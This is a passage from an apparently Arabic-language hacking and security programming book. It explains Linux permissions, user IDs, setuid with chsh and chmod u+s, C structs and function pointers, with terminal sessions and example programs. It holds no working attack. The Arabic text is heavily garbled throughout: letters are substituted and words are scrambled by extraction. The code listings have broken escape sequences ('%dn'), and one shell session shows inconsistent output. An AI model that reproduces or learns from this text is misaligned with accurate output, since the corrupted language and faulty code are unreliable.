    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [87] ‫الرقم‬ ‫داللة‬ ‫ما‬ ‫واآلن‬ 3 ‫لل‬ ‫املعطى‬ Group ‫؟‬.. ‫ثم‬ ‫ال‬ ‫صالحيات‬ ‫بنزع‬ ‫سيقوم‬ ،‫يليه‬ ‫الذي‬ ‫األمر‬ ‫يف‬ write ‫ال‬ ‫و‬ execute ‫مجيعا‬ ‫منهم‬ user,group,other . ‫ال‬ ‫صالحية‬ َ‫ط‬‫ُع‬‫ت‬ ‫مل‬ ‫أنه‬ ‫الحظ‬ read ‫ال‬ ‫من‬ ٍ‫ُل‬‫ك‬ ‫لىل‬ ‫األساس‬ ‫ن‬‫م‬ Group, and Other . ‫ال‬ ‫لىل‬ ‫الآلن‬ ‫سننتقل‬ User IDs . User IDs ‫يف‬ ‫التشغيل‬ ‫نظام‬ Linux ، ‫حيصل‬ ‫ال‬ root user ‫عىل‬ id = 0 ُ‫ه‬‫أن‬ ‫تعني‬ ‫حيث‬ Administrator Account . َ‫ناك‬ُ‫ذ‬ ‫بعض‬ ‫لل‬ ‫الوصول‬ ‫ن‬‫م‬ ‫ُك‬‫ن‬ِّ‫ك‬ُ‫مت‬ ‫التي‬ ‫الثغرات‬ id 0 ‫ال‬ ‫بعض‬ ‫باستخدام‬ functions ‫مثل‬ getuid( ) . ..‫هم‬ُ‫مل‬‫ا‬ ‫ا‬ ‫ُمرجات‬ ‫نشاذد‬ ‫دعنا‬ ‫ألمر‬ id ‫ال‬ ‫لك‬ ‫ر‬‫ظه‬ُ‫ي‬ ‫حيث‬ id ‫املعطا‬ ‫ة‬ :‫لك‬ reader@hacking:~/booksrc $ id matrix uid=500(matrix) gid=500(matrix) groups=500(matrix) reader@hacking:~/booksrc $ id root uid=0(root) gid=0(root) groups=0(root) reader@hacking:~/booksrc $ ‫بعمل‬ ‫سنقوم‬ log out ، ‫الد‬ ‫م‬ُ‫ث‬ ‫ب‬ ‫طول‬ account ‫ب‬ ِّ‫ُجر‬‫ن‬‫و‬ ‫ر‬ َ ‫آط‬ ‫اخلاص‬ ‫لفات‬َ‫مل‬‫ا‬ ‫د‬ َ‫أح‬ ‫تح‬َ‫ق‬ ‫ة‬ ‫بال‬ user reader . ‫ل‬‫ُحاو‬‫ن‬ َ ‫س‬ ‫ال‬ ‫لف‬َ‫م‬ ‫قتح‬ notes ‫كود‬ ‫كتبنا‬ ‫الذي‬ ‫قبل‬ ‫ن‬‫م‬ ‫له‬‫داط‬‫ب‬ ‫ملة‬ُ‫جل‬‫ا‬ ‫لضاقة‬ . :‫النتائج‬ ‫د‬‫ُشاذ‬‫ن‬‫ل‬
  • 88.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [88] jose@hacking:/home/reader/booksrc $ jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes -rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes jose@hacking:/home/reader/booksrc $ ./simplenote "a note for jose" [DEBUG] buffer @ 0x804a008: 'a note for jose' [DEBUG] datafile @ 0x804a070: '/tmp/notes' [!!] Fatal Error in main() while opening file: Permission denied jose@hacking:/home/reader/booksrc $ cat /tmp/notes cat: /tmp/notes: Permission denied jose@hacking:/home/reader/booksrc $ exit exit reader@hacking:~/booksrc $ ‫من‬ ‫أكثر‬ ‫أراد‬ ‫لو‬ ‫ماذا‬ ‫ولكن‬ user ‫ل‬ َ‫ع‬ ‫مل‬ access ‫عليه؟‬ ‫تعديالت‬ ‫لجراء‬ ‫أو‬ ‫امللف‬ ‫لنفس‬ . ‫ملف‬ ً‫ال‬‫مث‬ /etc/passwd ‫ال‬ ‫بيانات‬ ‫عىل‬ ‫حيتوي‬ users ‫ال‬ ‫ومنها‬ default shell ‫منهم‬ ‫بكل‬ ‫اخلاص‬ . ‫ال‬ ‫ماذذا‬ Shell ‫؟‬ ‫منك‬ ‫يستقبل‬ ‫برنامج‬ ‫لنه‬ commands ‫ال‬ ‫لىل‬ ‫بإرساهلا‬ ‫ليقوم‬ Operating System . . ‫ال‬ ‫كان‬ ‫لقد‬ user interface ‫الوحيد‬ ‫ة‬ ‫ال‬ ‫وبني‬ ‫بينك‬ ‫التواصل‬ ‫حتقق‬ ‫التي‬ O.S ‫ال‬ ‫ظهور‬ ‫بدايات‬ ‫يف‬ UNIX ، ‫م‬ُ‫ث‬ ‫ال‬ ‫ظهرت‬ GUI ُ‫ت‬‫ل‬ ‫ذالك‬ ‫بعد‬ ‫سهل‬ .!‫عنه‬ ‫غنى‬ ‫ال‬ ‫أنه‬ ‫لال‬ ‫األمور‬ ‫بعض‬ ‫ال‬ ‫ذذه‬ ‫من‬ ‫األشهر‬ shells ‫ال‬ ‫ذو‬ Bash ‫كال‬ ‫أطرى‬ ‫أنواع‬ ‫عدة‬ ‫يوجد‬ ً‫ا‬‫أيض‬ ،‫واألقضل‬ ‫األقدم‬ ‫ذو‬ ‫حيث‬ ksh, tcsh, and zsh .
  • 89.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [89] ‫أن‬ ‫نا‬ُ‫ذ‬ ‫نا‬ُ‫م‬ُ َ ‫ماهي‬ linux ‫ال‬ ‫َغيري‬‫ت‬‫ب‬ ‫يقوم‬ ‫أن‬‫ب‬ ‫م‬‫َخد‬‫ت‬‫س‬ُ‫م‬ ‫ألي‬ ‫الصالحية‬ ‫عطي‬ُ‫ي‬ default shell ‫قوم‬َ‫ي‬ َ ‫س‬ ُ‫ه‬ّ‫ن‬‫أ‬ ‫عنى‬َ‫م‬‫ب‬ ،‫ه‬‫ب‬ ‫اخلاص‬ ‫لف‬َ‫م‬ ‫ل‬‫داط‬ )‫م‬‫ستخد‬ُ‫مل‬‫ا‬ ‫(ذذا‬ ‫به‬ ‫اخلاص‬ ‫السطر‬ ‫عىل‬ ‫تعديل‬ ‫بإجراء‬ /etc/passwd ، ‫عادي‬ ‫م‬‫َخد‬‫ت‬‫س‬ُ‫م‬ ‫يقوم‬ َ ‫س‬ َ ‫كيف‬َ‫ق‬ ‫التع‬ ‫ذذا‬ ‫بإجراء‬ ‫د‬ !‫يل‬ . ‫النظام‬ ‫يف‬ ‫طاصية‬ ‫سنستخدم‬ ‫ى‬‫ُسم‬‫ت‬ " Set User Id Permission " . ‫ال‬ ‫تتذكر‬ ‫ذل‬ “read, write, and execute permissions” .! Setuid َ ‫َرب‬‫ت‬‫ُع‬‫ت‬ permission ‫أي‬ ‫الربامج‬ ‫ألحد‬ ‫لضاقتها‬ ‫نستطيع‬ ً‫ا‬‫ض‬ ‫ال‬ ‫د‬ َ‫ح‬َ‫أ‬ ‫ل‬َ‫ب‬‫ق‬ ‫ن‬‫م‬ ‫الربنامج‬ ‫ذذا‬ ‫استخدام‬ ‫تم‬ ‫ما‬ ‫ولذا‬ ، users ‫ال‬ ‫مع‬ ‫يتعامل‬ ‫قإنه‬ O.S ‫ال‬ ‫بصالحيات‬ root . ‫ال‬ ‫نوع‬‫ل‬ ‫التغيري‬ ‫عملية‬ ‫بإجراء‬ ‫يقوم‬ ‫الذي‬ ‫غري‬ َ ‫الص‬ ‫للربنامج‬ ‫نأيت‬ َ ‫س‬ shell ‫لنه‬ ،!‫ك‬‫ب‬ ‫اخلاص‬ " chsh ." ‫ال‬ ‫يف‬ ‫بكتابته‬ ‫نقوم‬ terminal ،َ‫و‬ُ‫ذ‬ ‫َام‬‫ك‬ chsh ، ‫الربنامج‬ ‫ذا‬َ‫ذ‬ ‫َها‬‫ن‬‫حي‬ ‫ذ‬ ُ ‫يأط‬ َ ‫س‬ id َ‫ديد‬ َ‫ج‬ ‫ة‬ ‫ؤقت‬ُ‫م‬‫و‬ ‫ة‬ ‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ ، “Effective id” ، ‫له‬ ‫يتسنى‬ ‫كي‬ ‫لجر‬ .‫التعديل‬ ‫اء‬ َ‫د‬‫و‬َ‫ع‬‫ال‬‫ب‬ ‫قوم‬َ‫ي‬ َ ‫س‬ ‫هاء‬‫اإلنت‬ َ‫د‬‫ع‬َ‫ب‬ ‫م‬ُ‫ث‬ ‫ة‬ ‫ال‬ ‫لىل‬ real id ‫ال‬ َ‫ي‬‫وذ‬ id ‫اص‬َ‫خل‬‫ا‬ ‫بيعية‬َ‫ط‬‫ال‬ ‫ة‬ .‫ك‬‫ب‬ reader@hacking:~/booksrc $ which chsh /usr/bin/chsh reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd -rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd -rws/r-x/r-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh reader@hacking:~/booksrc $ ‫ال‬ ‫رف‬ َ‫ح‬ ،‫َرى‬‫ت‬ ‫َام‬‫ك‬ s) ) ‫طان‬ ‫أول‬ ‫يف‬ ‫يظهر‬ ‫ة‬ ‫ال‬ ‫ى‬َ‫د‬َ‫ل‬ chsh ‫ال‬ ‫لدى‬ ‫موجود‬ ‫غري‬ ‫بينام‬ /etc/passwd
  • 90.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [90] ‫باستخد‬ ‫لديك‬ ‫رنامج‬َ‫ب‬ ‫ألي‬ ‫اخلاصية‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫تفعيل‬ ً‫ا‬‫أيض‬ َ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫األمر‬ ‫ام‬ " chmod u+s " . .‫ثال‬‫م‬‫ب‬ ‫ذذا‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫ل‬ ‫يا‬َ‫ذ‬ ‫ال‬ ‫نا‬َ‫ل‬ ‫ض‬‫عر‬َ‫ي‬ ‫صغري‬ ‫كود‬ ‫ماييل‬ real id ‫ال‬ ‫و‬ effectve id ‫خدام‬‫است‬‫ب‬ function ‫ى‬‫م‬ َ‫ُس‬‫ت‬ getuid( ) #include <stdio.h> int main() { printf("real uid: %dn", getuid()); printf("effective uid: %dn", geteuid()); } ‫بإسم‬ ‫الكود‬ ‫ذا‬َ‫ذ‬ ‫ظ‬َ‫ف‬‫َح‬‫ن‬ َ ‫س‬ uid.c ‫اليوزر‬ ‫وذو‬ ‫احبه‬ َ ‫ص‬ ‫صالحيات‬‫ب‬ ‫ل‬َ‫عم‬َ‫ي‬ ‫اآلن‬ ‫الربنامج‬ ‫ذذا‬ " reader " :‫كامييل‬ reader@hacking:~/booksrc $ ./uid real uid: 999 effective uid: 999 reader@hacking:~/booksrc $ ‫األمر‬ ‫تنفيذ‬‫ب‬ ‫َقوم‬‫ن‬ َ ‫س‬ ‫واآلن‬ ( chmod u+s ،) ‫للحرف‬ ‫انتبه‬ ( s ،) ‫ال‬ ‫طانة‬ ‫يف‬ ‫يظهر‬ owner .)‫طانة‬ ‫(أول‬ reader@hacking:~/booksrc $ sudo chmod u+s ./uid reader@hacking:~/booksrc $ ls -l uid_demo -rws/r-x/r-x 1 root root 6825 2007-09-07 05:32 uid reader@hacking:~/booksrc $ ./uid real uid: 999 effective uid: 0 reader@hacking:~/booksrc $ ‫األمر‬ ‫استخدام‬ ‫الحظ‬ Sudo ، ‫ال‬ ‫لضاقة‬ ‫ُنا‬‫ن‬ِّ‫ك‬َ‫م‬ُ‫ي‬ ‫ن‬َ‫ل‬ ‫ه‬‫دون‬‫ب‬َ‫ق‬ (Setuid permission) .‫امللف‬ ‫هلذا‬
  • 91.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [91] ‫ال‬ ‫لىل‬ ‫اآلن‬ ‫سننتقل‬ " Structs .." Structs َ‫ت‬ ‫ذل‬ ‫ت‬ ‫ذك‬ ‫ال‬ ‫ر‬ Array ‫؟‬ . .‫بعضها‬ ‫مع‬ ‫عة‬‫َم‬‫ت‬ ُ ‫جم‬ ‫النوع‬ ‫نفس‬ ‫من‬ ‫العنارص‬ ‫من‬ ‫جمموعة‬ ‫عن‬ ‫عبارة‬ ‫بأهنا‬ ‫قها‬ ِّ‫ُعر‬‫ن‬ ‫ا‬‫ُن‬‫ك‬ Array is collection of the elements of same type. ‫ال‬ Struct ‫ال‬ ‫فهوم‬َ‫م‬ ‫َفس‬‫ن‬ ‫ل‬‫م‬ َ ‫حي‬ array ‫بار‬‫ع‬ ‫النهاية‬ ‫يف‬ ‫ذو‬ ،ً‫ا‬‫َعقيد‬‫ت‬ ‫أكثر‬ ‫حاالت‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬ ُ‫ه‬‫أن‬ َ‫ري‬َ‫غ‬ ‫ة‬ ‫تغري‬ُ‫م‬ ‫ن‬َ‫ع‬ Variable ، َ‫د‬ِّ‫تعد‬ُ‫م‬ ‫طرى‬ُ‫أ‬ ‫تغريات‬ُ‫م‬ ‫داطله‬‫ب‬ ‫ل‬‫م‬ َ ‫حي‬ ُ‫ه‬‫أن‬ ُ ‫يث‬ َ‫ح‬ ،!‫طاص‬ ‫نوع‬ ‫ن‬‫م‬ ‫ّه‬‫ن‬‫ك‬َ‫ل‬ ‫ة‬ ُ‫ن‬‫مك‬ُ‫ي‬‫و‬ ، ‫ل‬ َ ‫مح‬ ً‫ا‬‫أيض‬ ‫ه‬ variables ‫ذات‬ data types ‫تلف‬ ُ ‫ُم‬ ‫ة‬ . ‫ال‬ ‫ذو‬ ‫قام‬ struct ‫؟‬ “Is a composition of the different variables of different data types, grouped under same name” ‫زين‬ َ ‫خت‬ ‫د‬َ‫َو‬‫ن‬ ‫أننا‬ ‫ضنا‬ َ‫ر‬َ‫ق‬ ‫لو‬ ً‫ال‬‫مث‬َ‫ق‬ records ‫اص‬ َ ‫ط‬ ‫ة‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ َ ‫س‬ ،‫ما‬ ٍ‫رسة‬‫د‬َ‫م‬ ‫يف‬ ‫الب‬ُ‫ط‬‫ب‬ struct ‫ى‬‫م‬ َ‫س‬ُ‫ي‬ record . ‫ال‬ ‫ذذا‬ struct .‫الخ‬ .. ،‫الطالب‬ ‫ميالد‬ ‫تاريخ‬ ،‫راسية‬‫الد‬ ‫َة‬‫ن‬ ّ ‫الس‬ ،‫الطالب‬ ‫لسم‬ ‫نها‬‫م‬ ..‫ة‬َ‫ف‬‫َل‬‫ت‬ ُ ‫ُم‬ ‫أنواع‬ ‫ن‬‫م‬ ‫َغريات‬‫ت‬ُ‫م‬ ‫ه‬‫ل‬‫بداط‬ ‫ل‬‫حم‬َ‫ي‬ َ ‫س‬ ‫َغريات‬‫ت‬ُ‫م‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ُل‬‫ك‬ ‫أن‬ ‫ظ‬‫الح‬ members) ) ‫األسايس‬ ِّ ‫ري‬َ‫غ‬َ‫ت‬ُ‫مل‬‫ا‬ ‫ع‬َ‫ب‬‫َت‬‫ت‬ Recoed .
  • 92.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [92] Struct Record { char name[64]; char course[128]; int age; int year; }; :‫آطر‬ ‫مثال‬ ‫لنعطي‬ struct tm { int tm_sec; /* seconds */ int tm_min; /* minutes */ int tm_hour; /* hours */ int tm_mday; /* day of the month */ int tm_mon; /* month */ int tm_year; /* year */ int tm_wday; /* day of the week */ int tm_yday; /* day in the year */ int tm_isdst; /* daylight saving time */ }; ‫ال‬ ‫ذذا‬ struct ‫لسمه‬ tm ‫لل‬ ً‫ا‬‫لطتصار‬ “Time” ، ‫ال‬ َ‫ن‬‫م‬ ‫موعة‬ َ ‫جم‬ ‫له‬‫داط‬‫ب‬ ‫وي‬ َ ‫حي‬ variables . ‫نستخدمه؟‬ ‫كيف‬ ..!‫جيد‬ . ‫احلقيق‬ ‫يف‬ ‫ة‬ ‫قاق‬‫باشت‬ ‫نقوم‬ object ‫ال‬ ‫ذا‬َ‫ذ‬ ‫ن‬‫م‬ struct ‫من‬ ‫أكثر‬ ‫اشتقاق‬ ‫مكننا‬ُ‫ي‬ ً‫ا‬‫أيض‬ ،‫ية‬ ّ‫ر‬ ُ‫ح‬ ‫ُل‬‫ك‬‫ب‬ ُ‫ه‬َ‫ع‬َ‫م‬ ‫ل‬ُ‫م‬‫بالتعا‬ ‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬ object ‫َفس‬‫ن‬ ‫ن‬‫م‬ ‫ذذا‬ ‫ال‬ struct . ‫س‬ ً‫ا‬‫وضوح‬ ‫أكثر‬ ‫األمر‬ ‫يكون‬ ‫الصورة‬ ‫ِبذه‬ ..
  • 93.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [93] ‫ال‬ ‫ذو‬ ‫الدلو‬ ‫ذذا‬ ،‫الصورة‬ ‫يف‬ ‫ى‬ َ‫َر‬‫ت‬ ‫كام‬ Struct ، ‫ذ‬‫أط‬‫ب‬ َ‫م‬‫قا‬ ‫ايب‬ ُ ‫الرت‬ ‫الشكل‬ ‫وذذا‬ ..‫فاته‬‫ص‬ ‫نفس‬ ،‫الدلو‬ ‫كل‬ َ ‫ش‬ ‫َفس‬‫ن‬ ‫باملعنى‬ ‫ال‬ ‫تويات‬ ُ ‫حم‬ ‫ذ‬ ُ ‫يأط‬ :‫ي‬ َ ‫الربجم‬ struct ، ‫عليها‬ ‫ون‬ُ‫ق‬‫طل‬ُ‫ي‬ ‫كام‬ ‫أو‬ Elements ‫أو‬ Attributes . ‫اشتقاق‬ ‫بإمكاننا‬ ‫قإنه‬ ‫تعلم‬ ‫وكام‬ ‫ال‬ ‫من‬ ‫عدد‬ ‫أي‬ objects ‫الرتابي‬ ‫ة‬ ‫الدلو‬ ‫ذذا‬ ‫من‬ .. ‫ال‬ " Struct ."
  • 94.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [94] :‫صغري‬ ‫نامج‬ َ ‫رب‬‫ب‬ ‫األمر‬ ‫ذا‬َ‫ذ‬ ‫ب‬ ِّ‫ر‬َ‫ُج‬‫ن‬ ‫يا‬َ‫ذ‬ #include <stdio.h> #include <time.h> int main() { long int seconds_since_epoch; struct tm current_time, *time_ptr; int hour, minute, second, day, month, year; seconds_since_epoch = time(0); // Pass time a null pointer as argument. printf("time() - seconds since epoch: %ldn", seconds_since_epoch); time_ptr = &current_time; // Set time_ptr to the address of the current_time struct. localtime_r(&seconds_since_epoch, time_ptr); // Three different ways to access struct elements: hour = current_time.tm_hour; // Direct access minute = time_ptr->tm_min; // Access via pointer second = *((int *) time_ptr); // Hacky pointer access printf("Current time is: %02d: %02d: %02dn", hour, minute, second); } ‫باشتقاق‬ ‫قمنا‬ ‫الربنامج‬ ‫بداية‬ ‫يف‬ current_time object ، ‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬ pointer *time_ptr . ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ً‫ا‬‫أيض‬ declare َ‫ت‬ُ‫مل‬ ِّ ‫ري‬َ‫غ‬ long int !‫كبري‬ ‫عدد‬ ‫حوي‬َ‫ي‬ َ ‫س‬ ‫ألنه‬ . ‫استخدام‬ ‫َم‬‫ت‬ function ‫بإسم‬ time( ) ، َ‫ج‬َ‫ر‬‫د‬ُ‫م‬ ‫وذي‬ ‫ة‬ ‫يف‬ " time.h library " . ‫ال‬ ‫ذذه‬ ‫تقوم‬ function ‫ك‬ ‫د‬‫د‬َ ُ ‫حم‬ ‫وقت‬ ‫منذ‬ ‫املحسوبه‬ ‫الثواين‬ ‫عدد‬ ‫لنا‬ ‫بإرجاع‬ base line ‫ذو‬ 1/1/1970 . ‫ل‬‫ع‬َ‫ج‬‫ب‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ ‫ال‬ pointer time_ptr ‫لىل‬ ‫شري‬ُ‫ي‬ ‫ال‬ " address of our object " ‫وذ‬ ‫و‬ current_time ‫ال‬ ‫ذذا‬ ‫حيوي‬ object ‫ال‬ elements ‫املوجود‬ ‫ة‬ ‫ال‬ ‫يف‬ struct tm ‫قارغ‬ ‫نها‬‫ك‬َ‫ل‬ ‫ة‬ ! .
  • 95.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [95] ‫أهنا‬ ‫تذكر‬ variables ‫اآلن‬ ‫َمألذا‬‫ن‬ ‫سوف‬ ‫أننا‬ ‫بمعنى‬ ، ‫سنستخدم‬ function ‫بإسم‬ localtime_r( ) ‫ال‬ ‫ذذه‬ ‫بمأل‬ ‫لتقوم‬ variables ‫احلايل‬ ‫بالتوقيت‬ . ‫أط‬ ‫م‬ُ‫ث‬ ‫نستخدم‬ ً‫ا‬‫ري‬ printf( ) ‫من‬ ‫استدعائهم‬ ‫طريق‬ ‫عن‬ ‫وذلك‬ ،‫والثواين‬ ‫والدقائق‬ ‫بالساعات‬ ‫احلايل‬ ‫التوقيت‬ ‫لنا‬ ‫تعرض‬‫ل‬ ‫ال‬ ‫ذذا‬ object ‫قامت‬ ‫أن‬ ‫بعد‬ locate_r( ) .‫بملئهم‬ َ‫ف‬‫تل‬ ُ ‫ُم‬ ‫ق‬ ُ‫ر‬ُ‫ط‬ ‫ثالثة‬ ‫سنستخدم‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫من‬ ٍ‫لكل‬ ‫استدعائنا‬ ‫أثناء‬ Elements ‫وال‬ ‫والدقائق‬ ‫للساعات‬ ‫كونني‬ُ‫مل‬‫ا‬ ‫الثالثة‬ .‫ثواين‬  ‫أ‬ ‫أن‬ ‫وذي‬ ‫األوىل‬ ‫الطريقة‬ ‫شهرذم‬ :‫ييل‬ ‫كام‬ ‫نستدعيه‬ object.strct_element ‫واملسام‬ ‫الطريقة‬ ‫ذذه‬ ‫باستخدام‬ ‫قمنا‬ ‫ة‬ “direct access” ‫لعمل‬ access to the hour element  ‫ال‬ ‫باستخدام‬ ‫الدطول‬ ‫وذي‬ ‫الثانية‬ ‫الطريقة‬ pointer : ‫بعمل‬ ‫قمنا‬ ‫أننا‬ ‫تذكر‬ declare ‫ل‬ pointer time_ptr ‫وج‬ ‫ال‬ ‫لىل‬ ‫يشري‬ ‫علناه‬ object . ‫الرمز‬ ‫باستخدام‬ ‫قسنقوم‬ -> ‫ال‬ ‫اىل‬ ‫الدطول‬ ‫من‬ ‫لنتمكن‬ element !‫الدقائق‬ ‫اطرتنا‬ ‫ذنا‬ !‫نريده‬ ‫الذي‬  ‫الثالث‬ ‫الطريقة‬ ‫ة‬ ( ‫بارش‬ُ‫م‬ ‫غري‬ ‫طريقة‬ ‫وذي‬ ‫ة‬ ! ) : َ‫ت‬ ‫ذك‬ ‫ر‬ ‫أن‬ ‫نا‬ ‫الداطلي‬ ‫األقواس‬ ‫من‬ ‫ننتهي‬ ‫ة‬ ‫اخلارجي‬ ‫األقواس‬ ‫ثم‬ً‫ال‬‫أو‬ ‫ة‬ . . ‫ال‬ ‫بتحويل‬ ‫قمنا‬ ‫لقد‬ " time_ptr pointer " ‫لىل‬ integer pointer ‫عمل‬ ‫طريق‬ ‫عن‬ Cast ‫له‬ :‫ييل‬ ‫كام‬ (int *) time_ptr
  • 96.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [96] ‫ال‬ ‫ذذا‬ pointer ‫لىل‬ ‫شري‬ُ‫ي‬ " address of our object " ‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ ..‫تعلم‬ ‫كام‬ pointer ‫نوع‬ ‫من‬ ‫كان‬ ‫لذا‬ ‫عام‬ ‫بشكل‬ int ‫أول‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫قإنه‬ 4 bytes ‫ال‬ ‫من‬ address ‫مساحت‬ ‫أنه‬ ‫بمعنى‬ ‫كذلك؟‬ ‫أليس‬ .. ‫ة‬ 4 bytes ‫أول‬ ‫ِبا‬ ‫ضع‬َ‫ي‬ 4 bytes ‫ال‬ ‫من‬ address .‫لليه‬ ‫يشري‬ ‫الذي‬ ‫ال‬ ‫ذذا‬ ‫عىل‬ ‫نظرة‬ ‫ألقينا‬ ‫ولذا‬ object :‫اآليت‬ ‫ُالحظ‬‫ن‬ َ ‫س‬َ‫ق‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫الذي‬ struct tm { int tm_sec; /* seconds */ ‫ال‬ ‫أن‬ ‫الحظ‬ element ‫ال‬ ‫يف‬ ‫األوىل‬ struct ‫ال‬ ‫ذي‬ second ، ‫أهن‬ ‫بمعنى‬ ‫أول‬ ‫يف‬ ‫تقع‬ ‫ا‬ 4 bytes ‫ال‬ ‫من‬ struct ، ‫ألن‬ ‫ال‬ struct ‫مساح‬ ‫غل‬‫ش‬َ‫ي‬ ‫ال‬ ‫نفسه‬ ‫ة‬ ‫ال‬ ‫بل‬ ..! variables .!‫ل‬َ‫غ‬‫َش‬‫ت‬ ‫التي‬ ‫ذي‬ ‫بداطله‬ ‫بوضع‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ ،!!‫رائع‬ ‫ذذا‬ )*( ‫بعمل‬ ‫لنقوم‬ ‫باخلارج‬ ‫أطرى‬ dereference ‫ال‬ ‫هلذا‬ int pointer . :‫الكود‬ ‫ذذا‬ ‫ُمرجات‬ ً‫ا‬‫مع‬ ‫لنرى‬ reader@hacking:~/booksrc $ gcc time_example.c reader@hacking:~/booksrc $ ./a.out time() - seconds since epoch: 1189311588 Current time is: 04:19:48 reader@hacking:~/booksrc $ ./a.out time() - seconds since epoch: 1189311600 Current time is: 04:20:00 reader@hacking:~/booksrc $
  • 97.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [97] Function Pointers ‫نحن‬ ‫جيد‬ ‫دراية‬ ‫عىل‬ ‫اآلن‬ ‫ة‬ ‫بال‬ Pointers ‫لذا‬ ، ‫س‬ ‫نبدأ‬ ‫ب‬ :‫مات‬‫قد‬ُ‫م‬ ‫دون‬ ‫ثال‬‫امل‬ #include <stdio.h> int func_one() { printf(“This is function onen”); return 1; } int func_two() { printf(“This is function twon”); return 2; } int main() { int value; int (*function_ptr)(); function_ptr = func_one; printf(“function_ptr is 0x%08xn”, function_ptr); value = function_ptr(); printf(“value returned was %dn”, value); function_ptr = func_two; printf(“function_ptr is 0x%08xn”, function_ptr); value = function_ptr(); printf(“value returned was %dn”, value); } ‫الفارغ‬ ‫القوس‬ ‫ذا‬‫ِب‬ ‫ي‬‫َعن‬‫ن‬ ..ً‫ة‬‫داي‬‫ب‬ int func_one( ) ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫أن‬ function ‫أي‬ ‫ذ‬ ُ ‫تأط‬ ‫ال‬ Arguments . ‫ال‬ ‫لىل‬ ‫نأيت‬ main( ) ‫ال‬ َ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬ ‫َرى‬‫ن‬‫ل‬ pointers ‫العجيب‬ ‫ة‬  : int (*function_ptr)();
  • 98.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [98] ‫معي‬ ‫الحظ‬ : ‫ال‬ ‫ذذا‬ pointer .. ‫ذو‬ " *function_ptr " ‫لىل‬ ‫شري‬ُ‫ي‬ Function ‫و‬ ‫ما‬ ‫ال‬ ‫ذي‬ ( ) !‫بعد‬ ‫ُحددذا‬‫ن‬ ‫مل‬ ‫ألننا‬ .. . ‫ال‬ ‫ذذه‬ Function ‫لنا‬ ‫ع‬‫ج‬ ُ ‫سرت‬ value ‫ذات‬ data type ‫نوع‬ ‫من‬ integer ‫وذي‬ int .‫نا‬ُ‫ذ‬ ‫الكود‬ ‫يف‬ ‫تغري‬ُ‫م‬ ‫قنا‬‫ر‬َ‫ع‬ ّ‫م‬ُ‫ث‬ value int ‫ال‬ ‫به‬ ‫نضع‬‫ل‬ return ‫بال‬ ‫اخلاص‬ function . ‫ال‬ ‫استخدمنا‬ ( ) printf ‫ال‬ ‫رض‬َ‫ع‬‫ب‬ ‫لتقوم‬ " address of function " ‫وذو‬ ‫ال‬ pointer . ‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫و‬ُ‫ه‬َ‫ق‬ " address of function ." ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ُ‫ه‬‫ُنفذ‬‫ت‬ َ ‫س‬ ‫ما‬ ً‫ا‬‫أيض‬ ‫نا‬َ‫ل‬ ‫ض‬‫تعر‬ َ ‫س‬َ‫و‬ function ، ‫تقوم‬ ُ ‫حيث‬ ‫و‬ ،‫لة‬ ُ ‫مج‬ ‫باعة‬‫ط‬‫ب‬ " return 1 " ‫ال‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫شري‬ُ‫ي‬ ُ‫ه‬‫علنا‬ َ‫ج‬ ‫م‬ُ‫ث‬ .!‫ققط‬ func_two( ) . ‫لجراء‬ ‫م‬ُ‫ث‬ call 